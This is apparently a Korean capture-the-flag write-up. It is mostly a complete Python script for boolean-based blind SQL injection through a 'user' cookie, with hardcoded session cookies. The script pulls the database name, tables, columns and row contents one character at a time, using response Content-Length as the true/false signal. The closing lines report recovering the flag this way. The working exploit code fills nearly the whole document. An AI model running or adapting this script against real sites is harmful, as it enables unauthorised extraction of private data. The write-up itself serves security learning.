aaa' 처럼 잘못된 값을 넣으면 DB Error 를 표시한다.
이를 SQL Injection으로 사용하였다
import requests
from user_agent import generate_user_agent, generate_navigator
from bs4 import BeautifulSoup
import time
def post_request_with_retry(url, headers, max_retries, cookie, attempt=1):
try:
# response = requests.post(url, data=data, timeout=timeout_seconds)
response = requests.get(url, headers=headers, cookies=cookie)
response.raise_for_status() # HTTP 에러가 발생하면 예외를 일으킴
# print('응답 받음:', response.json())
return response
except TimeoutError:
print(f'타임아웃 발생 (시도 {attempt}/{max_retries})')
except requests.exceptions.RequestException as e:
print(f'요청 실패: {e}')
if attempt < max_retries:
return post_request_with_retry(url, headers, max_retries, cookie, attempt+1)
else:
print('최대 재시도 횟수 도달. 요청을 중단합니다.')
return None
url = ''
headers = {
'User-Agent': generate_user_agent(os='win', device_type='desktop')
}
cookie={
"session": "44140154-2ce3-46fb-b668-167e2fd0653f.EbVMaCBfnvNBzmSco1q9IcKuzaE",
"PHPSESSID": "ih4jv45k8hturn890qbtj1djd4"
}
timeout_seconds = None
max_retries = 5
db_name = ""
table_name = ""
column_name = ""
table_length_max = 50
column_length_max = 50
# DB 길이 찾기
db_length = 0
for db_length_idx in range(0, 20):
cookie["user"] = "aaa' and (select 1 union select 2 where (select length(database()) = " + \
str(db_length_idx) + ")) and '1'='1"
# print(cookie["user"])
res = post_request_with_retry(url, headers, max_retries, cookie)
time.sleep(0.001)
# print(res.text)
# print(res.history)
# print(res.headers)
# children이 있으면 존재하지 않는 아이디(거짓)
if res.headers['Content-Length'] != '12':
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
db_length = db_length_idx
print(f"db length: {db_length}")
# exit(0)
for db_length_idx2 in range(0, db_length+1):
for j in range(32, 127):
cookie["user"] = "aaa' and (select 1 union select 2 where (ascii(substr((select database()),"+str(
db_length_idx2)+",1)) = "+str(j)+")) and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
if res.headers['Content-Length'] != '12':
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
db_name += chr(j)
print(f"db name: {db_name}")
table_cnt = ""
for table_cnt_idx in range(0, 20):
cookie["user"] = "aaa' and (select 1 union select 2 where (select (select count(table_name) from information_schema.tables where table_schema='" + \
db_name+"') = "+str(table_cnt_idx)+")) and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload["id"])
# print(res.text)
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
if res.headers['Content-Length'] != '12':
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
table_cnt = table_cnt_idx
print(f"table all count: {table_cnt}")
for table_cnt_idx2 in range(0, table_cnt+1):
print(f" - table cnt[{table_cnt_idx2}]")
table_length = 0
for table_length_idx in range(0, table_length_max):
cookie["user"] = "aaa' and (select 1 union select 2 where ((select length(table_name) from information_schema.tables where table_schema='" + \
db_name+"' limit "+str(table_cnt_idx2) + \
",1) = "+str(table_length_idx)+")) and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
if res.headers['Content-Length'] != '12':
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
table_length = table_length_idx
print(f" - table length: {table_length}")
table_name = ""
for table_length_idx2 in range(0, table_length+1):
for j in range(32, 127):
cookie["user"] = "aaa' and (select 1 union select 2 where (select ascii(substr((select table_name from information_schema.tables where table_schema='" + \
db_name+"' limit "+str(table_cnt_idx2)+",1), "+str(
table_length_idx2)+",1)) = "+str(j)+")) and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
if res.headers['Content-Length'] != '12':
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
table_name += chr(j)
print(f" - table name: {table_name}")
column_cnt = ""
for column_cnt_idx in range(0, 20):
cookie["user"] = "aaa' and (select 1 union select 2 where (select (select count(column_name) from information_schema.columns where table_name='" + \
table_name+"' and table_schema='" + \
db_name+"') = "+str(column_cnt_idx)+")) and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload["id"])
# print(res.text)
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
if res.headers['Content-Length'] != '12':
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
column_cnt = column_cnt_idx
print(f" - column all count: {column_cnt}")
for column_cnt_idx2 in range(0, column_cnt):
print(f" - column cnt[{column_cnt_idx2}]")
column_length = 0
for column_length_idx in range(0, column_length_max):
cookie["user"] = "aaa' and (select 1 union select 2 where ((select length(column_name) from information_schema.columns where table_name='" + \
table_name+"' and table_schema='"+db_name+"' limit " + \
str(column_cnt_idx2)+",1) = " + \
str(column_length_idx)+")) and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
if res.headers['Content-Length'] != '12':
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
column_length = column_length_idx
print(f" - column length: {column_length}")
column_name = ""
for column_length_idx2 in range(0, column_length+1):
for j in range(32, 127):
cookie["user"] = "aaa' and (select 1 union select 2 where (select ascii(substr((select column_name from information_schema.columns where table_schema='" + \
db_name+"' and table_name='"+table_name+"' limit " + \
str(column_cnt_idx2)+",1), "+str(column_length_idx2) + \
",1)) = "+str(j)+")) and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
if res.headers['Content-Length'] != '12':
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
column_name += chr(j)
print(f" - column name: {column_name}")
data_cnt = 0
for data_cnt_idx in range(0, 20):
cookie["user"] = "aaa' and (select 1 union select 2 where (select (select count("+column_name + \
") from "+db_name+"."+table_name+") = " + \
str(data_cnt_idx)+")) and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
if res.headers['Content-Length'] != '12':
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
data_cnt = data_cnt_idx
print(f" - data all count: {data_cnt}")
for data_cnt_idx2 in range(0, data_cnt):
print(f" - data cnt[{data_cnt_idx2}]")
data_length = 0
for data_length_idx in range(0, 50):
cookie["user"] = "aaa' and (select 1 union select 2 where ((select length("+column_name + \
") from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1) = " + \
str(data_length_idx)+")) and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
if res.headers['Content-Length'] != '12':
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
data_length = data_length_idx
print(f" - data length: {data_length}")
data_name = ""
for data_length_idx2 in range(0, data_length+1):
for j in range(32, 127):
cookie["user"] = "aaa' and (select 1 union select 2 where (select ascii(substr((select "+column_name + \
" from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1), " + \
str(data_length_idx2)+", 1)) = "+str(j)+")) and '1'='1"
res = post_request_with_retry(url, headers, max_retries, cookie)
# print(payload["id"])
time.sleep(0.001)
# children이 있으면 존재하지 않는 아이디(거짓)
if res.headers['Content-Length'] != '12':
# print(children.text)
pass
# 없으면 존재하는 아이디(참)
else:
# print(info.text)
data_name += chr(j)
print(f" - data name: {data_name}")
참/거짓 여부에 따라 Content-Length가 다르다는 점을 이용하였다.
위의 코드를 이용해 DB에서 flag를 찾을 수 있었다.